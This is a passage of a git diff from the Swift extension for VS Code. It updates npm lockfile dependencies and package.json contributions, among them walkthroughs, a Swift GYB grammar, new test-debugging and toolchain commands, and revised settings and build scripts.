"https://registry.npmjs.org/vscode-tmgrammar-test/-/vscode-tmgrammar-test-0.1.3.tgz", + "integrity": "sha512-Wg6Pz+ePAT1O+F/A1Fc4wS5vY2X+HNtgN4qMdL+65NLQYd1/zdDWH4fhwsLjX8wTzeXkMy49Cr4ZqWTJ7VnVxg==", + "dev": true, + "requires": { + "bottleneck": "^2.19.5", + "chalk": "^2.4.2", + "commander": "^9.2.0", + "diff": "^4.0.2", + "glob": "^7.1.6", + "vscode-oniguruma": "^1.5.1", + "vscode-textmate": "^7.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "dev": true + }, + "diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, "which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", @@ -18383,6 +19929,68 @@ "string-width": "^1.0.2 || 2 || 3 || 4" } }, + "winston": { + "version": "3.18.3", + "resolved": "https://registry.npmjs.org/winston/-/winston-3.18.3.tgz", + "integrity": "sha512-NoBZauFNNWENgsnC9YpgyYwOVrl2m58PpQ8lNHjV3kosGs7KJ7Npk9pCUE+WJlawVSe8mykWDKWFSVfs3QO9ww==", + "dev": true, + "requires": { + "@colors/colors": "^1.6.0", + "@dabh/diagnostics": "^2.0.8", + "async": "^3.2.3", + "is-stream": "^2.0.0", + "logform": "^2.7.0", + "one-time": "^1.0.0", + "readable-stream": "^3.4.0", + "safe-stable-stringify": "^2.3.1", + "stack-trace": "0.0.x", + "triple-beam": "^1.3.0", + "winston-transport": "^4.9.0" + }, + "dependencies": { + "is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true + }, + "readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + } + } + }, + "winston-transport": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/winston-transport/-/winston-transport-4.9.0.tgz", + "integrity": "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A==", + "dev": true, + "requires": { + "logform": "^2.7.0", + "readable-stream": "^3.6.2", + "triple-beam": "^1.3.0" + }, + "dependencies": { + "readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + } + } + }, "wordwrap": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", @@ -18396,14 +20004,54 @@ "dev": true }, "wrap-ansi": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz", + "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==", "dev": true, "requires": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" + "ansi-styles": "^6.2.1", + "string-width": "^7.0.0", + "strip-ansi": "^7.1.0" + }, + "dependencies": { + "ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true + }, + "ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true + }, + "emoji-regex": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.6.0.tgz", + "integrity": "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==", + "dev": true + }, + "string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "requires": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + } + }, + "strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "requires": { + "ansi-regex": "^6.0.1" + } + } } }, "wrap-ansi-cjs": { @@ -18455,9 +20103,9 @@ "dev": true }, "yaml": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.0.tgz", - "integrity": "sha512-4lLa/EcQCB0cJkyts+FpIRx5G/llPxfP6VQU5KByHEhLxY3IJCH0f0Hy1MHI8sClTvsIb8qwRJ6R/ZdlDJ/leQ==", + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.1.tgz", + "integrity": "sha512-lcYcMxX2PO9XMGvAJkJ3OsNMw+/7FKes7/hgerGUYWIoWu5j/+YQqcZr5JnPZWzOsEBgMbSbiSTn/dv/69Mkpw==", "dev": true }, "yargs": { @@ -18560,9 +20208,9 @@ } }, "zod": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.0.5.tgz", - "integrity": "sha512-/5UuuRPStvHXu7RS+gmvRf4NXrNxpSllGwDnCBcJZtQsKrviYXm54yDGV2KYNLT5kq0lHGcl7lqWJLgSaG+tgA==" + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.5.tgz", + "integrity": "sha512-rcUUZqlLJgBC33IT3PNMgsCq6TzLQEG/Ei/KTCU0PedSWRMAXoOUN+4t/0H+Q8bdnLPdqUYnvboJT0bn/229qg==" } } } diff --git a/package.json b/package.json index ef1062af8..55e4a6c79 100644 --- a/package.json +++ b/package.json @@ -2,7 +2,7 @@ "name": "swift-vscode", "displayName": "Swift", "description": "Swift Language Support for Visual Studio Code.", - "version": "2.10.0", + "version": "2.14.0-dev", "publisher": "swiftlang", "icon": "icon.png", "repository": { @@ -29,11 +29,105 @@ "workspaceContains:**/compile_commands.json", "workspaceContains:**/compile_flags.txt", "workspaceContains:**/buildServer.json", + "workspaceContains:**/.bsp/*.json", "onDebugResolve:swift-lldb", "onDebugResolve:swift" ], "main": "./dist/src/extension.js", "contributes": { + "walkthroughs": [ + { + "id": "swift-welcome", + "title": "Get Started with Swift for VS Code", + "description": "Learn how to use the Swift extension for VS Code.", + "steps": [ + { + "id": "installing-mac", + "title": "Install Swift", + "description": "Swift is cross-platform! If you already have Xcode installed, you're ready to go. Otherwise, see the instructions to [install on macOS](https://www.swift.org/install).\n Swift is [open source](https://github.com/swiftlang) and community driven!\n Questions? Visit the [Swift forums](https://forums.swift.org/) or the [Swift extension GitHub page](https://github.com/swiftlang/vscode-swift) for help.", + "media": { + "markdown": "./assets/walkthrough/welcome.md" + }, + "when": "isMac" + }, + { + "id": "installing-linux", + "title": "Installing Swift", + "description": "Swift is cross-platform! See the instructions to [install on Linux](https://www.swift.org/install).\n Swift is [open source](https://github.com/swiftlang) and community driven!\n Questions? Visit the [Swift forums](https://forums.swift.org/) or the [Swift extension GitHub page](https://github.com/swiftlang/vscode-swift) for help.", + "media": { + "markdown": "./assets/walkthrough/welcome.md" + }, + "when": "isLinux" + }, + { + "id": "installing-windows", + "title": "Installing Swift", + "description": "Swift is cross-platform! See the instructions to [install on Windows](https://www.swift.org/install).\n Swift is [open source](https://github.com/swiftlang) and community driven!\n Questions? Visit the [Swift forums](https://forums.swift.org/) or the [Swift extension GitHub page](https://github.com/swiftlang/vscode-swift) for help.", + "media": { + "markdown": "./assets/walkthrough/welcome.md" + }, + "when": "isWindows" + }, + { + "id": "creating-new-project", + "title": "Create a Swift project", + "description": "You can create a new Swift project with \n``Swift: Create New Project``\n in the Command Palette. \n[Try it out](command:swift.createNewProject)", + "media": { + "markdown": "assets/walkthrough/createNewProject.md" + } + }, + { + "id": "run-and-debug-executable", + "title": "Run and debug an executable", + "description": "You can run an executable from the Swift file, Command Palette or the Project Panel.", + "media": { + "markdown": "assets/walkthrough/runExecutable.md" + } + }, + { + "id": "testing", + "title": "Run tests", + "description": "Tests are automatically discovered in your project and added to the [Testing View](https://code.visualstudio.com/docs/debugtest/testing#_automatic-test-discovery-in-testing-view).\n Both [XCTest](https://developer.apple.com/documentation/xctest) and [Swift Testing](https://developer.apple.com/xcode/swift-testing/) tests are supported.", + "media": { + "markdown": "assets/walkthrough/runTests.md" + } + }, + { + "id": "documentation", + "title": "Preview DocC documentation", + "description": "Preview documentation written in [DocC](https://www.swift.org/documentation/docc/).", + "media": { + "markdown": "assets/walkthrough/previewDocs.md" + } + }, + { + "id": "swift-commands", + "title": "Swift commands", + "description": "Explore commands available in the Command Palette prefixed with ``> Swift:``\n See documentation for [available commands](https://docs.swift.org/vscode/documentation/userdocs/commands/). \n[Show Swift Commands](command:swift.showCommands)", + "media": { + "markdown": "assets/walkthrough/swiftCommands.md" + } + }, + { + "id": "selecting-toolchain", + "title": "Select a toolchain", + "description": "If you have more than one Swift toolchain installed you can switch between them with \n``Swift: Select Toolchain...``\n in the Command Palette.\n[Select Toolchain](command:swift.selectToolchain)", + "markdown": "", + "media": { + "markdown": "assets/walkthrough/swiftToolchains.md" + } + }, + { + "id": "customize", + "title": "Customize settings", + "description": "The Swift extensions contributes numerous settings that you can configure to customize how your project builds and how the extension operates.\n[Configure Swift Settings](command:swift.configureSettings)", + "media": { + "markdown": "assets/walkthrough/customizeSettings.md" + } + } + ] + } + ], "icons": { "swift-icon": { "description": "The official icon for the Swift programming language", @@ -84,6 +178,28 @@ "filenamePatterns": [ "*.tutorial" ] + }, + { + "id": "swift-gyb", + "aliases": [ + "Swift GYB" + ], + "extensions": [ + ".swift.gyb" + ], + "configuration": "./swift-gyb.language-configuration.json" + } + ], + "grammars": [ + { + "language": "swift-gyb", + "scopeName": "source.swift.gyb", + "path": "./syntaxes/swift-gyb.tmLanguage.json", + "embeddedLanguages": { + "meta.embedded.block.gyb": "python", + "meta.embedded.control.begin.gyb": "python", + "meta.embedded.expression.gyb": "python" + } } ], "snippets": [ @@ -101,6 +217,16 @@ } ], "commands": [ + { + "command": "swift.showCommands", + "title": "Show Commands", + "category": "Swift" + }, + { + "command": "swift.configureSettings", + "title": "Configure Settings", + "category": "Swift" + }, { "command": "swift.generateLaunchConfigurations", "title": "Generate Launch Configurations", @@ -230,6 +356,16 @@ "title": "Select Toolchain...", "category": "Swift" }, + { + "command": "swift.installSwiftlyToolchain", + "title": "Install Swiftly Toolchain...", + "category": "Swift" + }, + { + "command": "swift.installSwiftlySnapshotToolchain", + "title": "Install Swiftly Snapshot Toolchain...", + "category": "Swift" + }, { "command": "swift.runSnippet", "title": "Run Swift Snippet", @@ -277,6 +413,16 @@ "title": "Run Until Failure...", "category": "Swift" }, + { + "command": "swift.debugTestsMultipleTimes", + "title": "Debug Multiple Times...", + "category": "Swift" + }, + { + "command": "swift.debugTestsUntilFailure", + "title": "Debug Until Failure...", + "category": "Swift" + }, { "command": "swift.pickProcess", "title": "Pick Process...", @@ -372,7 +518,6 @@ "Use Swift 5 when running Swift scripts.", "Prompt to select the Swift version each time a script is run." ], - "default": "6", "markdownDescription": "The default Swift version to use when running Swift scripts.", "scope": "machine-overridable" }, @@ -385,26 +530,6 @@ "markdownDescription": "Additional arguments to pass to swift commands that do package resolution, such as `swift package resolve`, `swift package update`, `swift build` and `swift test`. Keys and values should be provided as individual entries in the list.", "scope": "machine-overridable" }, - "swift.additionalTestArguments": { - "type": "array", - "default": [], - "items": { - "type": "string" - }, - "markdownDescription": "Additional arguments to pass to the `swift test` or `swift build` commands used when building and running tests from within VS Code.", - "scope": "machine-overridable" - }, - "swift.testEnvironmentVariables": { - "type": "object", - "patternProperties": { - ".*": { - "type": "string" - } - }, - "default": {}, - "markdownDescription": "Environment variables to set when running tests. To set environment variables when debugging an application you should edit the `env` field in the relevant `launch.json` configuration.", - "scope": "machine-overridable" - }, "swift.sanitizer": { "type": "string", "default": "off", @@ -422,6 +547,22 @@ "markdownDescription": "Search sub-folders of workspace folder for Swift Packages at start up.", "scope": "machine-overridable" }, + "swift.ignoreSearchingForPackagesInSubfolders": { + "type": "array", + "items": { + "type": "string" + }, + "default": [ + ".", + ".build", + "Packages", + "out", + "bazel-out", + "bazel-bin" + ], + "markdownDescription": "A list of folders to ignore when searching sub-folders for Swift Packages. The `swift.searchSubfoldersForPackages` must be `true` for this setting to have an effect. Always use forward-slashes in glob expressions regardless of platform. This is combined with VS Code's `files.exclude` setting.", + "scope": "machine-overridable" + }, "swift.autoGenerateLaunchConfigurations": { "type": "boolean", "default": true, @@ -431,7 +572,7 @@ "swift.disableAutoResolve": { "type": "boolean", "default": false, - "markdownDescription": "Disable automatic running of `swift package resolve` whenever the `Package.swift` or `Package.resolve` files are updated. This will also disable searching for command plugins and the initial test discovery process.", + "markdownDescription": "Disable automatic running of `swift package resolve` whenever the `Package.swift` or `Package.resolved` files are updated. This will also disable searching for command plugins and the initial test discovery process.", "scope": "machine-overridable" }, "swift.diagnosticsCollection": { @@ -471,10 +612,29 @@ "scope": "machine-overridable" }, "swift.backgroundCompilation": { - "type": "boolean", + "type": [ + "boolean", + "object" + ], "default": false, - "markdownDescription": "**Experimental**: Run `swift build` in the background whenever a file is saved. It is possible the background compilation will already be running when you attempt a compile yourself, so this is disabled by default.", - "scope": "machine-overridable" + "markdownDescription": "Run `swift build` in the background whenever a file is saved. Setting to `true` enables, or you can use `object` notation for more fine grained control. It is possible the background compilation will already be running when you attempt a compile yourself, so this is disabled by default.", + "properties": { + "enabled": { + "type": "boolean", + "default": true, + "description": "Enable/disable background compilation." + }, + "useDefaultTask": { + "type": "boolean", + "default": true, + "markdownDescription": "Use the default build task configured using the `Tasks: Configure Default Build Task` command when executing the background compilation. `#enabled#` property must be `true`." + }, + "release": { + "type": "boolean", + "default": false, + "markdownDescription": "Use the `release` variant of the `Build All` task when executing the background compilation. `#enabled#` property must be `true`. This is ignored if the `#useDefaultTask#` property is true." + } + } }, "swift.actionAfterBuildError": { "type": "string", @@ -584,12 +744,44 @@ "default": ".build/attachments", "markdownDescription": "The path to a directory that will be used to store attachments produced during a test run.\n\nA relative path resolves relative to the root directory of the workspace running the test(s)", "scope": "machine-overridable" + }, + "swift.outputChannelLogLevel": { + "type": "string", + "default": "info", + "markdownDescription": "The log level of the Swift output channel. This has no effect on the verbosity of messages written to the extension's log file.", + "enum": [ + "debug", + "info", + "warn", + "error" + ], + "scope": "machine-overridable" } } }, { "title": "Testing", "properties": { + "swift.additionalTestArguments": { + "type": "array", + "default": [], + "items": { + "type": "string" + }, + "markdownDescription": "Additional arguments to pass to the `swift test` or `swift build` commands used when building and running tests from within VS Code.", + "scope": "machine-overridable" + }, + "swift.testEnvironmentVariables": { + "type": "object", + "patternProperties": { + ".*": { + "type": "string" + } + }, + "default": {}, + "markdownDescription": "Environment variables to set when running tests. To set environment variables when debugging an application you should edit the `env` field in the relevant `launch.json` configuration.", + "scope": "machine-overridable" + }, "swift.excludeFromCodeCoverage": { "description": "A list of paths to exclude from code coverage reports. Paths can be absolute or relative to the workspace root.", "type": "array", @@ -657,6 +849,12 @@ ], "scope": "application" }, + "swift.createTasksForLibraryProducts": { + "type": "boolean", + "default": false, + "markdownDescription": "When enabled, the extension will create \"swift\" build tasks for library products in the package manifest. Note that automatic library products will not be included.", + "scope": "machine-overridable" + }, "swift.showCreateSwiftProjectInWelcomePage": { "type": "boolean", "default": true, @@ -708,7 +906,7 @@ "items": { "type": "string" }, - "markdownDescription": "Arguments to pass to SourceKit-LSP. Keys and values should be provided as individual entries in the list. e.g. `['--log-level', 'debug']`", + "markdownDescription": "Arguments to pass to SourceKit-LSP. Keys and values should be provided as individual entries in the list. e.g. `--experimental-feature=show-macro-expansions`", "order": 2 }, "swift.sourcekit-lsp.supported-languages": { @@ -798,7 +996,7 @@ "items": { "type": "string" }, - "markdownDescription": "Arguments to pass to SourceKit-LSP. Keys and values should be provided as individual entries in the list. e.g. `['--log-level', 'debug']`", + "markdownDescription": "Arguments to pass to SourceKit-LSP. Keys and values should be provided as individual entries in the list. e.g. `--experimental-feature=show-macro-expansions`", "markdownDeprecationMessage": "**Deprecated**: Please use `#swift.sourcekit-lsp.serverArguments#` instead." }, "sourcekit-lsp.trace.server": { @@ -927,7 +1125,8 @@ "swift.diagnostics": { "type": "boolean", "default": false, - "markdownDescription": "Output additional diagnostics to the Swift Output View.", + "markdownDescription": "Output additional diagnostics to the Swift output channel.", + "deprecationMessage": "**Deprecated**: Please use `#swift.outputChannelLogLevel#` instead.", "order": 100, "scope": "machine-overridable" } @@ -957,6 +1156,16 @@ "command": "swift.runTestsUntilFailure", "group": "testExtras", "when": "testId in swift.tests" + }, + { + "command": "swift.debugTestsMultipleTimes", + "group": "testExtras", + "when": "testId in swift.tests" + }, + { + "command": "swift.debugTestsUntilFailure", + "group": "testExtras", + "when": "testId in swift.tests" } ], "testing/item/context": [ @@ -969,6 +1178,16 @@ "command": "swift.runTestsUntilFailure", "group": "testExtras", "when": "testId in swift.tests" + }, + { + "command": "swift.debugTestsMultipleTimes", + "group": "testExtras", + "when": "testId in swift.tests" + }, + { + "command": "swift.debugTestsUntilFailure", + "group": "testExtras", + "when": "testId in swift.tests" } ], "file/newFile": [ @@ -996,6 +1215,16 @@ "group": "testExtras", "when": "false" }, + { + "command": "swift.debugTestsMultipleTimes", + "group": "testExtras", + "when": "false" + }, + { + "command": "swift.debugTestsUntilFailure", + "group": "testExtras", + "when": "false" + }, { "command": "swift.generateLaunchConfigurations", "when": "swift.hasExecutableProduct" @@ -1004,6 +1233,14 @@ "command": "swift.previewDocumentation", "when": "swift.supportsDocumentationLivePreview" }, + { + "command": "swift.installSwiftlyToolchain", + "when": "swift.supportsSwiftlyInstall" + }, + { + "command": "swift.installSwiftlySnapshotToolchain", + "when": "swift.supportsSwiftlyInstall" + }, { "command": "swift.createNewProject", "when": "!swift.isActivated || swift.createNewProjectAvailable" @@ -1527,14 +1764,23 @@ }, "configurationAttributes": { "launch": { - "required": [ - "program" - ], "properties": { "program": { "type": "string", "description": "Path to the program to debug." }, + "target": { + "type": "string", + "description": "The name of the SwiftPM target to debug." + }, + "configuration": { + "type": "string", + "enum": [ + "debug", + "release" + ], + "description": "The configuration of the SwiftPM target to use." + }, "args": { "type": [ "array", @@ -1784,13 +2030,13 @@ "scripts": { "vscode:prepublish": "npm run bundle", "bundle": "del-cli ./dist && npm run bundle-extension && npm run bundle-documentation-webview", - "bundle-extension": "del-cli ./dist && esbuild ./src/extension.ts --bundle --outfile=dist/src/extension.js --external:vscode --define:process.env.NODE_ENV=\\\"production\\\" --define:process.env.CI=\\\"\\\" --format=cjs --platform=node --target=node18 --minify --sourcemap", + "bundle-extension": "del-cli ./dist && esbuild ./src/extension.ts ./src/askpass/askpass-main.ts --bundle --outdir=dist/src/ --external:vscode --define:process.env.NODE_ENV=\\\"production\\\" --define:process.env.CI=\\\"\\\" --format=cjs --platform=node --target=node18 --minify --sourcemap", "bundle-documentation-webview": "npm run compile-documentation-webview -- --minify", "compile": "del-cli ./dist/ && tsc --build", "watch": "npm run compile -- --watch", "compile-documentation-webview": "del-cli ./assets/documentation-webview && esbuild ./src/documentation/webview/webview.ts --bundle --outfile=assets/documentation-webview/index.js --define:process.env.NODE_ENV=\\\"production\\\" --define:process.env.CI=\\\"\\\" --format=cjs --sourcemap", "watch-documentation-webview": "npm run compile-documentation-webview -- --watch", - "lint": "eslint ./ --ext ts && tsc --noEmit", + "lint": "eslint ./ --ext ts && tsc --noEmit && tsc --noEmit -p scripts/tsconfig.json", "update-swift-docc-render": "tsx ./scripts/update_swift_docc_render.ts", "compile-icons": "tsx ./scripts/compile_icons.ts", "format": "prettier --check .", @@ -1798,11 +2044,12 @@ "pretest": "npm run compile-tests", "soundness": "scripts/soundness.sh", "check-package-json": "tsx ./scripts/check_package_json.ts", - "test": "vscode-test", + "test": "vscode-test && npm run grammar-test", + "grammar-test": "vscode-tmgrammar-test test/unit-tests/**/*.test.swift.gyb -g test/unit-tests/syntaxes/swift.tmLanguage.json -g test/unit-tests/syntaxes/MagicPython.tmLanguage.json", "integration-test": "npm test -- --label integrationTests", "unit-test": "npm test -- --label unitTests", "coverage": "npm test -- --coverage", - "compile-tests": "del-cli ./assets/test/**/.build && npm run compile", + "compile-tests": "del-cli ./assets/test/**/.build && del-cli ./assets/test/**/.spm-cache && npm run compile", "package": "tsx ./scripts/package.ts", "dev-package": "tsx ./scripts/dev_package.ts", "preview-package": "tsx ./scripts/preview_package.ts", @@ -1811,71 +2058,87 @@ "prepare": "husky" }, "lint-staged": { + "**/*.ts": [ + "eslint --max-warnings=0", + "prettier --write" + ], "**/*": "prettier --write --ignore-unknown" }, "devDependencies": { - "@types/archiver": "^6.0.3", + "@actions/core": "^1.11.1", + "@trivago/prettier-plugin-sort-imports": "^5.2.2", + "@types/archiver": "^7.0.0", "@types/chai": "^4.3.19", "@types/chai-as-promised": "^7.1.8", "@types/chai-subset": "^1.3.6", "@types/decompress": "^4.2.7", + "@types/diff": "^8.0.0", "@types/lcov-parse": "^1.0.2", "@types/lodash.debounce": "^4.0.9", "@types/lodash.throttle": "^4.1.9", - "@types/micromatch": "^4.0.9", + "@types/micromatch": "^4.0.10", "@types/mocha": "^10.0.10", "@types/mock-fs": "^4.13.4", - "@types/node": "^20.19.9", + "@types/node": "^20.19.24", "@types/plist": "^3.0.5", - "@types/semver": "^7.7.0", + "@types/semver": "^7.7.1", "@types/sinon": "^17.0.4", "@types/sinon-chai": "^3.2.12", + "@types/source-map-support": "^0.5.10", + "@types/svg2ttf": "^5.0.3", + "@types/svgicons2svgfont": "^10.0.5", + "@types/ttf2woff": "^2.0.4", "@types/vscode": "^1.88.0", "@types/xml2js": "^0.4.14", - "@typescript-eslint/eslint-plugin": "^8.38.0", + "@typescript-eslint/eslint-plugin": "^8.46.3", "@typescript-eslint/parser": "^8.32.1", "@vscode/debugprotocol": "^1.68.0", - "@vscode/test-cli": "^0.0.11", + "@vscode/test-cli": "^0.0.12", "@vscode/test-electron": "^2.5.2", - "@vscode/vsce": "^3.6.0", + "@vscode/vsce": "^3.6.2", "chai": "^4.5.0", "chai-as-promised": "^7.1.2", "chai-subset": "^1.6.0", "decompress": "^4.2.1", - "del-cli": "^6.0.0", - "esbuild": "^0.25.8", + "del-cli": "^7.0.0", + "diff": "^8.0.2", + "esbuild": "^0.25.12", "eslint": "^8.57.0", "eslint-config-prettier": "^10.1.8", - "fantasticon": "^3.0.0", + "eslint-plugin-mocha": "^10.5.0", + "fantasticon": "^1.2.3", "husky": "^9.1.7", - "lint-staged": "^16.1.2", + "lint-staged": "^16.2.6", "lodash.debounce": "^4.0.8", "lodash.throttle": "^4.1.1", "micromatch": "^4.0.8", - "mocha": "^11.7.1", + "mocha": "^11.7.2", "mock-fs": "^5.5.0", - "node-pty": "^1.0.0", "octokit": "^3.2.2", "prettier": "^3.6.2", "replace-in-file": "^8.3.0", - "semver": "^7.7.2", - "simple-git": "^3.28.0", + "semver": "^7.7.3", + "simple-git": "^3.30.0", "sinon": "^21.0.0", "sinon-chai": "^3.7.0", "source-map-support": "^0.5.21", "strip-ansi": "^6.0.1", + "vscode-tmgrammar-test": "^0.1.3", "svgo": "^4.0.0", - "tsx": "^4.20.3", - "typescript": "^5.8.3" + "tsconfig-paths": "^4.2.0", + "tsx": "^4.20.6", + "typescript": "^5.9.3", + "winston": "^3.18.3", + "winston-transport": "^4.9.0" }, "dependencies": { - "@vscode/codicons": "^0.0.38", + "@vscode/codicons": "^0.0.41", "archiver": "^7.0.1", "fast-glob": "^3.3.3", "lcov-parse": "^1.0.0", "plist": "^3.1.0", "vscode-languageclient": "^9.0.1", "xml2js": "^0.6.2", - "zod": "^4.0.5" + "zod": "^4.1.5" } } diff --git a/scripts/check_package_json.ts b/scripts/check_package_json.ts index c247072d5..e056449ad 100644 --- a/scripts/check_package_json.ts +++ b/scripts/check_package_json.ts @@ -12,10 +12,8 @@ // //===----------------------------------------------------------------------===// /* eslint-disable no-console */ - import { getExtensionVersion, main } from "./lib/utilities"; -// eslint-disable-next-line @typescript-eslint/no-floating-promises main(async () => { const version = await getExtensionVersion(); if (version.minor % 2 !== 0) { diff --git a/scripts/compile_icons.ts b/scripts/compile_icons.ts index ca5386477..22a153fb9 100644 --- 